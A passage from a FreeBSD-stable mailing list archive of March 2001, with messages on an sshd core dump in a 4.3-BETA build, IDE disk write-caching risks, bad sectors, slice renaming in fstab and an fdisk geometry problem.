$OpenBSD: log-server.c,v 1.17 2000/09/12 20:53:10 markus Exp $ $OpenBSD: login.c,v 1.15 2000/09/07 20:27:52 deraadt Exp $ $FreeBSD: src/crypto/openssh/login.c,v 1.3.2.2 2000/10/28 23:00:48 kris Exp $ $OpenBSD: servconf.c,v 1.53 2000/10/14 12:12:09 markus Exp $ $FreeBSD: src/crypto/openssh/servconf.c,v 1.3.2.10 2001/03/04 15:13:08 markm Exp $ $OpenBSD: serverloop.c,v 1.34 2000/10/27 07:32:18 markus Exp $ $OpenBSD: auth.c,v 1.11 2000/10/11 20:27:23 markus Exp $ $FreeBSD: src/crypto/openssh/auth.c,v 1.3.2.3 2001/01/12 04:25:55 green Exp $ $OpenBSD: auth1.c,v 1.6 2000/10/11 20:27:23 markus Exp $ $FreeBSD: src/crypto/openssh/auth1.c,v 1.3.2.5 2001/03/04 15:13:08 markm Exp $ $OpenBSD: auth2.c,v 1.20 2000/10/14 12:16:56 markus Exp $ $FreeBSD: src/crypto/openssh/auth2.c,v 1.2.2.5 2001/03/04 15:13:08 markm Exp $ $OpenBSD: auth-options.c,v 1.5 2000/10/09 21:32:34 markus Exp $ $OpenBSD: session.c,v 1.42 2000/10/27 07:32:18 markus Exp $ $FreeBSD: src/crypto/openssh/session.c,v 1.4.2.7 2001/02/04 20:21:06 green Exp $ $OpenBSD: dh.c,v 1.2 2000/10/11 20:11:35 markus Exp $ $FreeBSD: src/crypto/openssh/auth-pam.c,v 1.2.2.1 2001/01/12 04:25:54 green Exp $ $FreeBSD: src/crypto/openssh/auth2-skey.c,v 1.2.2.1 2001/01/12 04:25:55 green Exp $ $OpenBSD: auth2-skey.c,v 1.1 2000/10/11 20:14:38 markus Exp $ $OpenBSD: auth-skey.c,v 1.9 2000/10/19 16:41:13 deraadt Exp $ $FreeBSD: src/crypto/openssh/auth-skey.c,v 1.1.1.1.2.4 2001/01/12 04:25:55 green Exp $ $OpenBSD: kex.c,v 1.12 2000/10/11 20:27:23 markus Exp $ $OpenBSD: dispatch.c,v 1.5 2000/09/21 11:25:34 markus Exp $ $OpenBSD: ttymodes.c,v 1.8 2000/09/07 20:27:55 deraadt Exp $ $OpenBSD: tildexpand.c,v 1.8 2000/09/07 20:27:55 deraadt Exp $ $OpenBSD: rsa.c,v 1.16 2000/09/07 20:27:53 deraadt Exp $ $FreeBSD: src/crypto/openssh/rsa.c,v 1.1.1.1.2.6 2001/02/12 06:45:42 kris Exp $ $OpenBSD: readpass.c,v 1.12 2000/10/11 20:14:39 markus Exp $ $OpenBSD: mpaux.c,v 1.14 2000/09/07 20:27:52 deraadt Exp $ $FreeBSD: src/crypto/openssh/mpaux.c,v 1.2.2.2 2000/10/28 23:00:48 kris Exp $ $OpenBSD: hostfile.c,v 1.20 2000/09/07 20:27:51 deraadt Exp $ $FreeBSD: src/crypto/openssh/hostfile.c,v 1.1.1.1.2.2 2000/10/28 23:00:48 kris Exp $ $OpenBSD: authfile.c,v 1.20 2000/10/11 20:27:23 markus Exp $ $FreeBSD: src/crypto/openssh/authfile.c,v 1.2.2.3 2001/01/12 04:25:55 green Exp $ $OpenBSD: cli.c,v 1.2 2000/10/16 09:38:44 djm Exp $ $OpenBSD: match.c,v 1.9 2000/09/07 20:27:52 deraadt Exp $ $OpenBSD: dsa.c,v 1.11 2000/09/07 20:27:51 deraadt Exp $ $OpenBSD: xmalloc.c,v 1.8 2000/09/07 20:27:55 deraadt Exp $ $OpenBSD: packet.c,v 1.38 2000/10/12 14:21:12 markus Exp $ $OpenBSD: hmac.c,v 1.4 2000/09/07 20:27:51 deraadt Exp $ $OpenBSD: crc32.c,v 1.7 2000/09/07 20:27:51 deraadt Exp $ $OpenBSD: compress.c,v 1.9 2000/09/07 20:27:50 deraadt Exp $ $OpenBSD: cipher.c,v 1.37 2000/10/23 19:31:54 markus Exp $ $FreeBSD: src/crypto/openssh/cipher.c,v 1.2.2.3 2001/01/12 04:25:56 green Exp $ $OpenBSD: nchan.c,v 1.19 2000/09/07 20:27:52 deraadt Exp $ $OpenBSD: channels.c,v 1.72 2000/10/27 07:48:22 markus Exp $ $OpenBSD: canohost.c,v 1.16 2000/10/21 17:04:22 markus Exp $ $FreeBSD: src/crypto/openssh/canohost.c,v 1.1.1.1.2.4 2001/01/12 04:25:56 green Exp $ $OpenBSD: authfd.c,v 1.29 2000/10/09 21:51:00 markus Exp $ $FreeBSD: src/crypto/openssh/authfd.c,v 1.2.2.4 2001/01/12 04:25:55 green Exp $ $OpenBSD: util.c,v 1.6 2000/10/27 07:32:19 markus Exp $ $OpenBSD: key.c,v 1.11 2000/09/07 20:27:51 deraadt Exp $ $FreeBSD: src/crypto/openssh/key.c,v 1.4.2.2 2000/10/28 23:00:48 kris Exp $ $OpenBSD: atomicio.c,v 1.7 2000/10/18 18:04:02 markus Exp $ $OpenBSD: uidswap.c,v 1.9 2000/09/07 20:27:55 deraadt Exp $ $FreeBSD: src/crypto/openssh/compat.c,v 1.1.1.1.2.3 2001/01/12 04:25:56 green Exp $ $OpenBSD: compat.c,v 1.27 2000/10/31 09:31:58 markus Exp $ $OpenBSD: bufaux.c,v 1.13 2000/09/07 20:27:50 deraadt Exp $ $FreeBSD: src/crypto/openssh/bufaux.c,v 1.2.2.2 2000/10/28 23:00:47 kris Exp $ $OpenBSD: uuencode.c,v 1.7 2000/09/07 20:27:55 deraadt Exp $ $OpenBSD: buffer.c,v 1.8 2000/09/07 20:27:50 deraadt Exp $ $OpenBSD: log.c,v 1.11 2000/09/30 16:27:43 markus Exp $ /var/log/all.log has this on the incident: Mar 12 16:40:01 ns sshd[76406]: input_userauth_request: illegal user hodo Mar 12 16:40:03 ns /kernel: pid 76406 (sshd), uid 0: exited on signal 11 (core dumped) Mar 12 16:40:03 ns /kernel: Mar 12 16:40:03 ns /kernel: pid 76406 (sshd), uid 0: exited on signal 11 (core dumped) From the output of "strings /sshd.core" I can see the server was doing some pretty normal activity, like rejecting a user I know, that had an account on another machine, but not this one. If there is more information needed, I will try to provide it. Thank you for listening and not panicking. ------------+------------------------------------------ Alex Popa, | "Artificial Intelligence is razor@ldc.ro| no match for Natural Stupidity" ------------+------------------------------------------ "It took the computing power of three C-64s to fly to the Moon. It takes a 486 to run Windows 95. Something is wrong here." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 15: 2: 9 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cage.simianscience.com (cage.simianscience.com [64.7.134.1]) by hub.freebsd.org (Postfix) with ESMTP id 780A437B719; Mon, 12 Mar 2001 15:02:03 -0800 (PST) (envelope-from mike@sentex.net) Received: from chimp (fcage [192.168.0.2]) by cage.simianscience.com (8.11.2/8.11.2) with ESMTP id f2CN1Yg55899; Mon, 12 Mar 2001 18:01:40 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <4.2.2.20010312180009.02c135a8@marble.sentex.net> X-Sender: mdtancsa@marble.sentex.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Mon, 12 Mar 2001 18:01:33 -0500 To: Alex Popa , freebsd-security@FreeBSD.ORG From: Mike Tancsa Subject: Re: 4.3-BETA, sshd.core found in root directory. Cc: freebsd-stable@FreeBSD.ORG In-Reply-To: <20010313004813.A78221@ldc.ro> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 12:48 AM 3/13/2001 +0200, Alex Popa wrote: >I am not really sure what this means (could mean a lot of things, >including bad memory on my machine), but here are the facts: > >The system was cvsupped and compiled on March 10th. There is an open PR about this. http://www.freebsd.org/cgi/query-pr.cgi?pr=25722 I wonder if its exploitable ? ---Mike -------------------------------------------------------------------- Mike Tancsa, tel +1 519 651 3400 Network Administration, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada www.sentex.net/mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 15: 7:22 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-59.dsl.lsan03.pacbell.net [63.207.60.59]) by hub.freebsd.org (Postfix) with ESMTP id BB9AD37B718 for ; Mon, 12 Mar 2001 15:07:17 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 5C32566B6C; Mon, 12 Mar 2001 15:07:17 -0800 (PST) Date: Mon, 12 Mar 2001 15:07:17 -0800 From: Kris Kennaway To: Steve Tremblett Cc: Jan Grant , freebsd-stable Subject: Re: nullfs et al Message-ID: <20010312150717.F93848@mollari.cthul.hu> References: <200103121502.KAA25352@sjt-u10.cisco.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="lteA1dqeVaWQ9QQl" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103121502.KAA25352@sjt-u10.cisco.com>; from sjt@cisco.com on Mon, Mar 12, 2001 at 10:02:54AM -0500 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --lteA1dqeVaWQ9QQl Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Mon, Mar 12, 2001 at 10:02:54AM -0500, Steve Tremblett wrote: > my mistake - I used this before on another OS. I have not tried this > on FreeBSD, so I can't attest to how it works. On the system I did use > it on, the absolute symlinks were interpreted relative to the REAL /, > and the user only saw a regular file as opposed to the link. Wow, that sounds like a massive security hole. Which OS was it? Kris --lteA1dqeVaWQ9QQl Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6rValWry0BWjoQKURAgEnAJ9P5TRyVehdU4moZ7AnL+8LeZX6PgCfeqdA Geq5pDsGo1kt/rUF+zcylXE= =JSCS -----END PGP SIGNATURE----- --lteA1dqeVaWQ9QQl-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 15: 7:29 2001 Delivered-To: freebsd-stable@freebsd.org Received: from maila.telia.com (maila.telia.com [194.22.194.231]) by hub.freebsd.org (Postfix) with ESMTP id D29F137B71B for ; Mon, 12 Mar 2001 15:07:21 -0800 (PST) (envelope-from ertr1013@student.uu.se) Received: from d1o913.telia.com (d1o913.telia.com [195.252.44.241]) by maila.telia.com (8.9.3/8.9.3) with ESMTP id AAA23825 for ; Tue, 13 Mar 2001 00:07:20 +0100 (CET) Received: from ertr1013.student.uu.se (h35n2fls20o913.telia.com [212.181.163.35]) by d1o913.telia.com (8.8.8/8.8.8) with SMTP id AAA11362 for ; Tue, 13 Mar 2001 00:07:19 +0100 (CET) Received: (qmail 76244 invoked by uid 1001); 12 Mar 2001 23:07:29 -0000 Date: Tue, 13 Mar 2001 00:07:29 +0100 From: Erik Trulsson To: stable@FreeBSD.ORG Subject: Re: IDE bad sectors and secondary master instalation Message-ID: <20010313000728.A75900@student.uu.se> Mail-Followup-To: stable@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from nuno.teixeira@pt-quorum.com on Mon, Mar 12, 2001 at 10:52:53PM +0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Mar 12, 2001 at 10:52:53PM +0000, Nuno Teixeira wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hello to all, > > I've got two questions that I can't solve and I don't find the right docs > for them: > > 1. IDE disks bad sectors: > Recently I installed an IDE disk with a lot bad > sectors to experiment a real situation and I get a lot of errors with > fsck and errors related to the read/write of the damaged sectors. > > The question is: what's the best way to solve the bad sectors problem on > IDE disks? There is anyway of "mark" the bad serctor so the OS doesn't > write to them? In FreeBSD 3.x and earlier such remapping could be done with the bad144 command. Support for this has been removed in FreBSD 4.x and later. Part of the reason for this is that modern IDE disks do remapping of bad sectors themselves with the result that by the time you start to notice the bad sectors the disk is in quite bad shape. By then you should get a new disk since the old one will probably make you lose data. > > 2. Secondary master to primary master change > > I have a motherboard that have the primary master and slave broken but > it worked with the disk installed on the secundary master interface. > Recently I purchase a new motherboard and installed the disk on the > primary master. My problem is that the FreeBSD stops on single user mode > and it gives the error that it can't mount the rest of the partitions. I > noticed that the slices are like "ad2s1f" and I think that it must be like > "ad0s1f" to work on the primary master. > > There is anyway of changing this to work. Change the entries in /etc/fstab to reflect the new configuration. (And you are quite correct that it should be changed from "ad2s1f" to "ad0s1f") -- Erik Trulsson ertr1013@student.uu.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 15:10:20 2001 Delivered-To: freebsd-stable@freebsd.org Received: from clyde.goodleaf.net (piscator.seanet.com [199.181.165.218]) by hub.freebsd.org (Postfix) with ESMTP id 9074D37B71B for ; Mon, 12 Mar 2001 15:10:17 -0800 (PST) (envelope-from goodleaf@clyde.goodleaf.net) Received: by clyde.goodleaf.net (Postfix, from userid 1001) id D24215C09; Mon, 12 Mar 2001 15:20:46 -0800 (PST) References: <200103122036.VAA99695@freebsd.dk> <200103122146.f2CLkLs08952@ptavv.es.net> <20010312140636.A18351@fw.wintelcom.net> In-Reply-To: <20010312140636.A18351@fw.wintelcom.net> From: "J.Goodleaf" To: stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Date: Mon, 12 Mar 2001 23:20:46 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <20010312232046.D24215C09@clyde.goodleaf.net> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I don't adequately understand the difference between what you're talking about here and what softupdates does. I have used softupdates for some time, but now I'm nervous! Can you point me toward the nearest info source, that I might RTFM and refrain from bugging you guys? (Given that I already tried man softupdates and man tunefs doesn't tell me anything.) -J Alfred Perlstein writes: > * Kevin Oberman [010312 13:46] wrote: >> Soren, >> >> Thanks for the quick reply! And right on the button, too. >> >> I have turned the write cache back on (any relevance to "write cache" >> being abbreviated to "WC"? :-) and the time to dd the slices went back >> to 10 and 5 minutes (actually 489 and 287 seconds). >> >> How serious is the possible corruption issue, anyway. The loss in >> performance is pretty drastic although it may be that dd is an >> especially bad case, but I really don't like to corrupt my disks, >> either. > > If basically running with blind write caching turned on is akin to > running your filesystem in async mode. This is because write > caching gives the drive license to lie about completing a write, > the various ordering of writes are effectively bypassed. If you > crash without these dependancies actually written to the disk, when > you come back up you have a good chance of losing large portions > of your filesystem. > > -- > -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] > Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message _____________________________ | J. Goodleaf | | | / ) | Technology Coordinator | / / | FreeBSD Advocate | ( ( | email ==> | (((\ \> |/ ) john@goodleaf.net | (\\\\ \_/ /_________________________| \ / \ _/ / / / / To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 15:10:35 2001 Delivered-To: freebsd-stable@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id E14C237B719; Mon, 12 Mar 2001 15:10:29 -0800 (PST) (envelope-from dillon@earth.backplane.com) Received: (from dillon@localhost) by earth.backplane.com (8.11.2/8.9.3) id f2CNANH77246; Mon, 12 Mar 2001 15:10:23 -0800 (PST) (envelope-from dillon) Date: Mon, 12 Mar 2001 15:10:23 -0800 (PST) From: Matt Dillon Message-Id: <200103122310.f2CNANH77246@earth.backplane.com> To: Alfred Perlstein Cc: Kevin Oberman , Soren Schmidt , mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA References: <200103122036.VAA99695@freebsd.dk> <200103122146.f2CLkLs08952@ptavv.es.net> <20010312140636.A18351@fw.wintelcom.net> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :If basically running with blind write caching turned on is akin to :running your filesystem in async mode. This is because write :caching gives the drive license to lie about completing a write, :the various ordering of writes are effectively bypassed. If you :crash without these dependancies actually written to the disk, when :you come back up you have a good chance of losing large portions :of your filesystem. : :-- :-Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] :Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ It's actually worse. Someone, I forget who, ran some tests with write-caching turned on and found that the IDE drive could hold a pending write in its cache 'forever', even in the face of other writes, as long as there was other disk activity going on. So we aren't just talking about issuing I/O's out of order, we are talking about issuing a sequence of writes and having some of them simply not ever commiting to disk (not for a long, long time) in a heavily loaded environment. That's bad news. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 15:14:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 3C39F37B71B; Mon, 12 Mar 2001 15:14:38 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2CNDGY25125; Mon, 12 Mar 2001 15:13:16 -0800 (PST) Date: Mon, 12 Mar 2001 15:13:15 -0800 From: Alfred Perlstein To: Matt Dillon Cc: Kevin Oberman , Soren Schmidt , mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Message-ID: <20010312151315.F18351@fw.wintelcom.net> References: <200103122036.VAA99695@freebsd.dk> <200103122146.f2CLkLs08952@ptavv.es.net> <20010312140636.A18351@fw.wintelcom.net> <200103122310.f2CNANH77246@earth.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103122310.f2CNANH77246@earth.backplane.com>; from dillon@earth.backplane.com on Mon, Mar 12, 2001 at 03:10:23PM -0800 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Matt Dillon [010312 15:11] wrote: > :If basically running with blind write caching turned on is akin to > :running your filesystem in async mode. This is because write > :caching gives the drive license to lie about completing a write, > :the various ordering of writes are effectively bypassed. If you > :crash without these dependancies actually written to the disk, when > :you come back up you have a good chance of losing large portions > :of your filesystem. > : > :-- > :-Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] > :Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ > > It's actually worse. Someone, I forget who, ran some tests with > write-caching turned on and found that the IDE drive could hold a > pending write in its cache 'forever', even in the face of other writes, > as long as there was other disk activity going on. So we aren't just > talking about issuing I/O's out of order, we are talking about issuing > a sequence of writes and having some of them simply not ever commiting > to disk (not for a long, long time) in a heavily loaded environment. > That's bad news. Someone leaked the Linux austrailian elevator algorithm to the disk manufacturers? I was wondering why I got a Turbo Linux CDrom with my last disk purchase. Of course I'm only kidding... -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 15:17:59 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cage.simianscience.com (cage.simianscience.com [64.7.134.1]) by hub.freebsd.org (Postfix) with ESMTP id DCBAE37B718 for ; Mon, 12 Mar 2001 15:17:53 -0800 (PST) (envelope-from mike@sentex.net) Received: from chimp (fcage [192.168.0.2]) by cage.simianscience.com (8.11.2/8.11.2) with ESMTP id f2CNFeg55916; Mon, 12 Mar 2001 18:15:41 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <4.2.2.20010312181414.02c135a8@marble.sentex.net> X-Sender: mdtancsa@marble.sentex.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Mon, 12 Mar 2001 18:15:39 -0500 To: Matt Dillon From: Mike Tancsa Subject: Re: Disk I/O problem in 4.3-BETA Cc: Soren Schmidt , stable@FreeBSD.ORG In-Reply-To: <200103122310.f2CNANH77246@earth.backplane.com> References: <200103122036.VAA99695@freebsd.dk> <200103122146.f2CLkLs08952@ptavv.es.net> <20010312140636.A18351@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is there an equivalent low level IDE util of "sync" that can force the drive to write out it's cache ? ---Mike At 03:10 PM 3/12/2001 -0800, Matt Dillon wrote: > It's actually worse. Someone, I forget who, ran some tests with > write-caching turned on and found that the IDE drive could hold a > pending write in its cache 'forever', even in the face of other writes, > as long as there was other disk activity going on. So we aren't just > talking about issuing I/O's out of order, we are talking about issuing > a sequence of writes and having some of them simply not ever commiting > to disk (not for a long, long time) in a heavily loaded environment. > That's bad news. > > -Matt > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-stable" in the body of the message -------------------------------------------------------------------- Mike Tancsa, tel +1 519 651 3400 Network Administration, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada www.sentex.net/mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 15:19:30 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 06F9E37B719 for ; Mon, 12 Mar 2001 15:19:28 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2CNJR825332; Mon, 12 Mar 2001 15:19:27 -0800 (PST) Date: Mon, 12 Mar 2001 15:19:27 -0800 From: Alfred Perlstein To: "J.Goodleaf" Cc: stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Message-ID: <20010312151927.G18351@fw.wintelcom.net> References: <200103122036.VAA99695@freebsd.dk> <200103122146.f2CLkLs08952@ptavv.es.net> <20010312140636.A18351@fw.wintelcom.net> <20010312232046.D24215C09@clyde.goodleaf.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010312232046.D24215C09@clyde.goodleaf.net>; from john@goodleaf.net on Mon, Mar 12, 2001 at 11:20:46PM +0000 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * J.Goodleaf [010312 15:10] wrote: > I don't adequately understand the difference between what you're talking > about here and what softupdates does. I have used softupdates for some time, > but now I'm nervous! Can you point me toward the nearest info source, that I > might RTFM and refrain from bugging you guys? (Given that I already tried > man softupdates and man tunefs doesn't tell me anything.) Softupdates depends on the disk not lying about writes completing. Ok, imagine you're a bank. Now imagine you got a bunch of cheap and really fast disks at an amazing price. Ok, one day there's an outtage/crash of some sort. Now, you paid big bucks to make sure that the database was reliable and would recover safely because it made _damn sure_ that before saying "ok, transaction complete" the data was actually written to disk. Now what if these wonderfully cheap and supposedly fast disk were _lying_ to the software about having the data on the actual disk? Well now you really have no idea where you were at the crash bad, eh? Was it really worth all that speed? Just think of a filesystem as a database that _needs_ the underlying disks to be truthful about these things in order to be recoverable after a crash. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 16:30:34 2001 Delivered-To: freebsd-stable@freebsd.org Received: from leviathan.inethouston.net (216-118-21-146.pdq.net [216.118.21.146]) by hub.freebsd.org (Postfix) with ESMTP id 2CD1C37B718 for ; Mon, 12 Mar 2001 16:30:30 -0800 (PST) (envelope-from mike@inethouston.net) Received: from blah (24-240-235-143.hsacorp.net [24.240.235.143]) by leviathan.inethouston.net (Postfix) with ESMTP id 89B9011131B for ; Mon, 12 Mar 2001 18:30:34 -0600 (CST) Message-ID: <008301c0ab54$746bd380$0204a8c0@blah1> From: "Michael J. Turner" To: Subject: Problem with Freebsd FDISK Date: Mon, 12 Mar 2001 18:27:57 -0600 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0080_01C0AB22.29638680" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0080_01C0AB22.29638680 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, I have a 15gig drive with two partitions. one is 10GB the other is 5GB. = On the 10GB I have winME, I want to install freebsd on the 5GB. Well the problem is = that when I=20 try to install FreeBSD and I am in Fdisk it only see's 2GB. I have no = clue why it does. It does'nt see the other partitions, even MS DOS see's the other = partitons even if they are not FAT. Can anyone be of service? I would greatly appreciate it. This is what is showing up: Disk Geometry: 256cyls/255 heads/63 sectors =3D 4112640 sectors (2008MB) Offset Size(MB) End Name PType Desc Subtype = Flags 0 0 62 - 6 unused = 0 63 2014 4124735 ad0s1 2 FAT 12 I have no clue why it's giving me this when i have a 15gig with 2 = partitions, on 10GB and the other 5GB Thank you.=20 ------=_NextPart_000_0080_01C0AB22.29638680 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi all,
 
I have a 15gig drive with two partitions. one is = 10GB the=20 other is 5GB. On the 10GB
I have winME, I want to install freebsd on the 5GB. = Well the=20 problem is that when I
try to install FreeBSD and I am in Fdisk it only = see's 2GB. I=20 have no clue why it does.
It does'nt see the other partitions, even MS DOS = see's the=20 other partitons even if they
are not FAT. Can anyone be of service? I = would=20 greatly appreciate it.
 
This is what is showing up:
Disk Geometry: 256cyls/255 heads/63 sectors =3D = 4112640 sectors=20 (2008MB)
 
Offset    Size(MB)   =20 End    Name    PType   =20 Desc       Subtype   =20 Flags
     0   =20     0        =    =20     62        = -   =20         6    =    =20 unused    0
    =20 63      2014     &= nbsp;  4124735  ad0s1   =20 2           =20 FAT    12
 
I have no clue why it's giving me this when i have a = 15gig=20 with 2 partitions, on 10GB and the
other 5GB
 
 
Thank = you. 
------=_NextPart_000_0080_01C0AB22.29638680-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 16:38: 3 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mta6.srv.hcvlny.cv.net (mta6.srv.hcvlny.cv.net [167.206.5.17]) by hub.freebsd.org (Postfix) with ESMTP id 97F1A37B719 for ; Mon, 12 Mar 2001 16:38:01 -0800 (PST) (envelope-from trini0@optonline.net) Received: from optonline.net (ool-18be012f.dyn.optonline.net [24.190.1.47]) by mta6.srv.hcvlny.cv.net (iPlanet Messaging Server 5.0 Patch 2 (built Dec 14 2000)) with ESMTP id <0GA4008F11RBWT@mta6.srv.hcvlny.cv.net> for stable@FreeBSD.ORG; Mon, 12 Mar 2001 19:37:59 -0500 (EST) Date: Mon, 12 Mar 2001 19:38:39 -0500 From: trini0 Subject: test To: FreeBSD Stable Message-id: <3AAD6C0F.F6A12551@optonline.net> MIME-version: 1.0 X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-RELEASE i386) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT X-Accept-Language: en Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG test To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 16:50:32 2001 Delivered-To: freebsd-stable@freebsd.org Received: from grumpy.dyndns.org (user-24-214-76-236.knology.net [24.214.76.236]) by hub.freebsd.org (Postfix) with ESMTP id C725C37B71A; Mon, 12 Mar 2001 16:50:23 -0800 (PST) (envelope-from dkelly@grumpy.dyndns.org) Received: from localhost (localhost [127.0.0.1]) by grumpy.dyndns.org (8.11.2/8.11.2) with ESMTP id f2D0lte06674; Mon, 12 Mar 2001 18:47:55 -0600 (CST) (envelope-from dkelly@grumpy.dyndns.org) Message-Id: <200103130047.f2D0lte06674@grumpy.dyndns.org> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: Alfred Perlstein Cc: Kevin Oberman , Soren Schmidt , mobile@FreeBSD.ORG, stable@FreeBSD.ORG From: David Kelly Subject: Re: Disk I/O problem in 4.3-BETA In-reply-to: Message from Alfred Perlstein of "Mon, 12 Mar 2001 14:06:36 PST." <20010312140636.A18351@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 12 Mar 2001 18:47:55 -0600 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Alfred Perlstein writes: > * Kevin Oberman [010312 13:46] wrote: > > > > How serious is the possible corruption issue, anyway. The loss in > > performance is pretty drastic although it may be that dd is an > 